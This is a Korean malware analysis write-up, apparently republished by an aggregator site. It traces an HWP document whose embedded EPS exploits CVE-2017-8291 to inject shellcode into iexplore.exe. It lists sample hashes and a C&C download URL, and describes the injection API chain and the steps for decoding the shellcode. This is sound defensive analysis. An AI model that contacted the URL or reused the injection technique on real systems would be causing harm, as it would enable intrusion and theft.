❓ EPS란 Encapulated PostScript의 약자로, Adobe에서 만든 PostScript 언어를 이용하여 그래픽 이미지를 표현하는 파일이다. 이를 이용하여 각종 고화질 벡터 이미지를 표현할 수 있어 HWP에서는 EPS 이미지를 포함하거나 볼 수 있는 기능이 존재한다.

EPS에서 사용한 CVE-2017-8291 취약점은 고스트스크립트 인터프리터가 ‘.eqproc’ 함수에서 매개변수 타입 유효성을 검증하지 않아 피연산자 스택의 메모리가 변조된다. 즉, 악의적인 PostScript 파일로 스택을 변조함으로서 임의 코드를 실행할 수 있다.

2017년 초 한글과컴퓨터에서는 EPS 파일 처리 과정에서 발생하는 취약점을 조치하여 최신 업데이트가 적용된 hwp는 EPS를 이용한 악성코드가 동작하지 않는다. 하지만 여전히 예전 버전을 사용하는 사용자들이 많기 때문에 해당 악성코드는 꾸준히 배포되고 있다.

2) 분석 환경

분석 환경 Index Tags OS Window 7 Tools 010 Editor Cutter GhostScript IDA Pro Processmon x32dbg

3) 악성코드 파일 분석

악성코드 파일 정보 Index Tags MD5 f2e936ff1977d123809d167a2a51cdeb SHA256 5d9e5c7b1b71af3c5f058f8521d383dbee88c99ebe8d509ebc8aeb52d4b6267b 기능 Process Injection File Size 47.50 KB

2. 상세분석

2.1) 행위 분석

한글문서를 실행시키면 쉘코드가 바로 실행된다. Procmon 프로그램의 Process Tree 기능을 이용하여 현재 한글문서 하위에 실행되는 프로세스들을 확인할 수 있다.

그림 1. 한글 문서 실행결과

EPS 파일을 포함한 한글 문서가 이미지를 로드할 때 OLE 구조상 EPS 파일은 임시파일 형태로 BinData 폴더에 생성된다. 한글 프로세스는 생성된 임시 파일을 인터프리터가 전달받아 처리하도록 gbb.exe 프로세스와 gswin32c.exe 프로세스에 임시 파일 경로를 인자로 전달하여 실행한다.

❓ OLE는 Microsoft의 기반 기술로써 일반적으로 복합 문서를 지칭한다. 복합 문서에는 다양한 종류의 정보 객체가 포함될 수 있는데 이러한 정보 객체를 OLE Object라고 한다. OLE Object는 문서, 동영상, 소리, 수식, 표 등과 같이 어떤 작업의 결과물이다

따라서 위 사진과 같이 한글 프로세스 하위에 2개의 gbb.exe, gswin32c.exe 프로세스가 실행되고 있는걸 볼수 있다. 하지만 각 프로세스의 하위에서 iexplore.exe가 injection되어 있다. 이는 사용자의 눈 보이지 않게 동작하며, 실제 악성행위는 해당 iexplore.exe 내부에서 일어날 것으로 유추된다.

2.2) 악성코드 추출(EPS – PostScript)

우선 한글 문서 내부에 들어있는 EPS 파일을 추출해보자. 누리랩에서 개발한 Hwp2Scan 프로그램을 이용하면 한글문서의 취약점을 확인 할 수 있고, EPS 파일을 뽑아 낼 수 있다.

그림2. hwp2scan 결과

취약점 검사 기능을 이용하면 현재 검사하고 있는 한글문서에 존재하는 취약점을 확인할 수 있는데, 현재는 취약점이 발견되지 않는다. 왜냐하면 악성 PostScript 파일은 코드가 암호화가 되어있어 검사로직에 확인되지 않는다.

우선 BinData 폴더안에 있는 BIN003.eps 파일을 추출한다. 참고로 BinData 폴더는 압축된 상태이므로 추출 옵션 중 ‘ Save a Hex(Decompress) ‘ 을 이용해야 한다.

그림3. 추출한 PostScript 파일

그림 3이 바로 인코딩된 PostScript 파일을 Sublime Text로 확인한 결과이다. 첫번째 라인의 꺽쇄 다음으로 시작하는 이어지는 문자열이 바로 쉘코드이다. 이 PostScript를 실행시키면 xor 연산을 통해 인코딩된 쉘코드가 복호화가 되고 실행이 된다.

따라서 복호화된 쉘코드를 얻기 위해 12라인의 exec 를 print로 변경하여 헥사값으로 얻어낼 것이다. 이렇게 하면 따로 PostScript의 문법을 몰라도 원한는 복호화 결과는 얻을수 있다.

그림4. 12라인의 exec를 print로 변경

코드를 수정하고 mal.eps이름으로 새로 저장한다.

2.3 PostScript 실행

Postscript는 GhostScript를 이용하여 실행시킬수 있다. 단 주의해야 할점은 작성된 PostScript는 버전에 따라서 문법이 약간 다르므로 위 EPS를 실행하기 위해선

9.6.2 버전의 GhostScript를 설치해야한다.

바이너리 위치 C:\Program Files\gs\gs9.26\bin

사용법 터미널에서 gswin64c.exe 실행 (EPS 파일 경로) run 주의 : 파일경로는 역슬래쉬가 아닌 슬래쉬여야 한다

그림6. EPS 실행결과

PostScript의 마지막 exec 부분을 print로 변경하여 복호화된 코드가 출력된다. 출력결과를 에디터로 확인해보면 다음과 같다

그림7. EPS 복호화 결과 코드 일부

복호화된 결과를 보면 기존의 코드보다 매우 길어진걸 확인할 수 있다. 그 중 9090.. 으로 시작하는 부분이 존재하는데 이는 쉘코드의 nop 영역인 걸을 유추할 수 있다. 따라서 해당 쉘코드로 추청되는 놈을 실행시켜보자.

2.4 shellcode 분석

아래 사이트는 쉘코드를 exe 파일로 변환시켜주는 사이트이다.

그림8. shellcode → exe convert

submit을 누르면 쉘코드가 exe 파일로 변환되어 저장된다. 이를 Cutter 프로그램을 이용해서 Graph view를 확인해보자.

그림9. Cutter를 이용한 shellcode의 Graph View

중간 block을 확인해보면, 반복해서 al 레지스터의 값을 xor 연산하는 걸 확인할 수 있다. 이 뜻한 해당 shellcode 또한 암호화가 되어있다는 의미이다. 현재 그림1에서 볼수 있었다시피 자식 프로세스로 iexplore.exe를 실행시키기 때문에 createprocess를 시작점으로 하여 분석을 진행해보자.

참고로 기드라를 이용하여 헥스레이를 확인할 수 도 있다.

그림10. CreateProcessA → breakpoint

위 사진은 CreateProcessA 에 break를 걸고 실행했을 때의 결과이다. esp+8이 해당 api의 2번째 인자 위친데, 여기를 보면 iexplore.exe의 경로가 지정되어 있는것을 확인할 수 있다. 현재 위치는 dll 내부의 CreateProessA 이므로 해당 영역을 빠져나와서 다시 쉘코드 위치로 돌아가보자.

그림11. CreateProcessA() 종료 후 생성된 iexplore.exe

call eax 어셈이 바로 CreateProcessA() 이다. 현재 호출을 완료했고, Process Explorer 프로그램을 이용해서 확인해보면 프로세스가 생성된 것을 볼 수 있다. 현재는 suspend(일시중지) 상태이다. 예상되는 악성행위로는 일시중지된 iexplore.exe에 코드를 인젝션 할 것으로 보인다. 이 부분이 어딘지를 찾아보자.

그림12. CreateProcessA() 후 user-code

얼마지나지 않아 0x40146C 라인에서 어떤 shellcode.4010DD 를 call한다. 해당 함수 내부를 확인해보자.

그림13. API Resolving code pattern

중간에 동일한 shellcode.40107E 를 계속 호출하고, 그 결과값을 스택의 배열에 저장한다. 이는 API Resolving 코드 패턴으로, 동적으로 API를 가져오게 된다. VirtualAllocEx 으로 메모리를 할당하고, writeProcessMemory 로 어떤 값을 쓴다. 마지막으로 해당 값을 CreateRemoteThread 로 동작시킨다. 아마 이 부분이 iexplore.exe에 code inject을 수행하는 로직일 것이다.

어떤 값을 쓰는지 writeProcessMemory 부터 자세히 봐보자.

2.4.1 WriteProcessMemory → code inject to iexplore.exe

BOOL WriteProcessMemory( HANDLE hProcess, // 조작할 대상 프로세스 핸들 LPVOID lpBaseAddress, // 값을 쓸 주소 LPCVOID lpBuffer, // 값 SIZE_T nSize, //메모리 크기 SIZE_T *lpNumberOfBytesWritten );

WriteProcessMemory의 인자는 다음과 같다. 인자로 들어가는 값을 확인해보자

그림14. WriteProcessMemory 프롤로그

스택을 보면 해당 API의 인자들을 볼 수 있다. 현재 처리할 핸들 값의 위치에 0xAC가 들어가 있고, Handles 에서 해당 값을 찾으면 다음과 같은 결과를 볼 수 있다.

그림 15. PID 0x2FC(764) 의 핸들 값

해당 핸들값은 0x2FC PID 값을 가진 프로세스를 처리한다는걸 알 수 있다.

그림 16. Injection 될 주소

두번째 인자인 값을 쓸 주소는 VirtualAlloc으로 할당받은 주소인 0xc0000이다. RWX 권한으로 전에 할당을 받았기 때문에 WriteProcessMemory가 끝나게 되면 해당 영역으로 쉘코드가 injection 될 것이고 현재는 아무것도 들어있지 않다.

그림 17. Injection 될 코드

마지막 3번째 인자는 Injection 될 코드의 주소인데 0x4014D3가 바로 이 영역이다. 해당 코드가 0xc0000에 채워질 것이다.

그림 18. Injection 된 코드

*중간에 디버거가 꺼져서 주소는 달라졌다. 아까 0xc0000 영역이 0x80000이라고 보면 된다

널바이트로 채워져 있던 영역에 코드가 삽입되었다

2.4.2 CreateRemoteThread

이제 삽입된 쉘코드는 CreateRemoteThread를 통하여 실제 동작이 이뤄진다.

그림19. Inection 되어 실행된 쉘코드

suspend 상태였던 iexplore.exe 프로세스가 CreateRemoteThread 를 통하여 실행된 것을 볼 수 있다. 따라서 실제로 어떠한 악성행위를 하는지를 알아보기 위해 Injection 된 코드를 전과 동일한 방식으로 추출하여 다시 분석을 진행해보자.

2.4.3 악성 행위 분석

그림20. 복호화 루틴

추출한 실제 쉘코드 역시 암호화가 되어있고, xor으로 복호화가 진행되고 jmp로 이동하여 실제 동작이 진행된다. 현재 C&C 서버가 닫혀있으므로 더 이상의 동적 분석은 불가능하다.

이글루 시큐리티의 분석 보고서에 따르면, 이 경우 악성행위를 하는 코드 뿐만 아니라 C&C주소도 함께 복호화 된다. 해당 악성코드는 복호화 된 C&C에서 추가 악성코드를 다운로드 받아온 후 최종 악성행위를 진행한다고 한다.

따라서 Any Run Sandbox를 이용해서 현재 추가적으로 확인할 수 있는 정보를 확인해보자.

그림21. 쉘코드가 요청하는 C&C 서버 주소 확인

쉘코드 내부에서 ” http://itoassn.mireene.co.kr/shop/shop/mail/com/mun/down.php ” 주소로 어떠한 Request를 보내는 것을 볼 수 있다. 해당 주소는 Any Run에서는 자세히 안나고오 디버거로 확인 가능하다

해당 서버에서 추가적인 악성코드를 쉘코드가 요청하게 되고 이는 VBE라는 파일을 다운로드 받게끔 한다. 해당 파일은 여러번 인코딩된 URL을 포함하고 이를 디코딩하여 난독화된 VBS 코드를 얻을 수 있고, 이를 해제하여 코드 원본을 확인할 수 있다.

자세한 내용은 위 사이트에서 확인 할 수 있다

3. 정리

최종적인 해당 악성코드의 행위를 정리하면 다음과 같다.

C&C 서버로부터 추가 파일을 다운받고 실행

Code Injection을 통해 정상 프로세스에 삽입된다.

이러한 악성코드는 일반 사용자는 확인하기 힘들며, 삽입된 코드는 키로깅, 백도어 등의 작업을 수행한다

참고로 해당 보고서에는 CVE-2017-8291 EPS 취약점 구현에 대한 내용은 추가하지 않았지만 추후에 따로 POC를 구현해볼것이다.

4. 참고문헌

키워드에 대한 정보 쉘 코드 분석

다음은 Bing에서 쉘 코드 분석 주제에 대한 검색 결과입니다. 필요한 경우 더 읽을 수 있습니다.

이 기사는 인터넷의 다양한 출처에서 편집되었습니다. 이 기사가 유용했기를 바랍니다. 이 기사가 유용하다고 생각되면 공유하십시오. 매우 감사합니다!

사람들이 주제에 대해 자주 검색하는 키워드 64비트 쉘코드를 실행하는 한글문서 악성코드 분석

  • malware
  • malware analysis
  • 악성코드
  • 악성코드 분석
  • 헤븐즈게이트
  • analysis 64bit malware
  • 64비트 악성코드 디버깅
  • process injection
  • hwp malware
  • 포스트스크립트 악성코드

64비트 #쉘코드를 #실행하는 #한글문서 #악성코드 #분석


YouTube에서 쉘 코드 분석 주제의 다른 동영상 보기

주제에 대한 기사를 시청해 주셔서 감사합니다 64비트 쉘코드를 실행하는 한글문서 악성코드 분석 | 쉘 코드 분석, 이 기사가 유용하다고 생각되면 공유하십시오, 매우 감사합니다.

Leave a Comment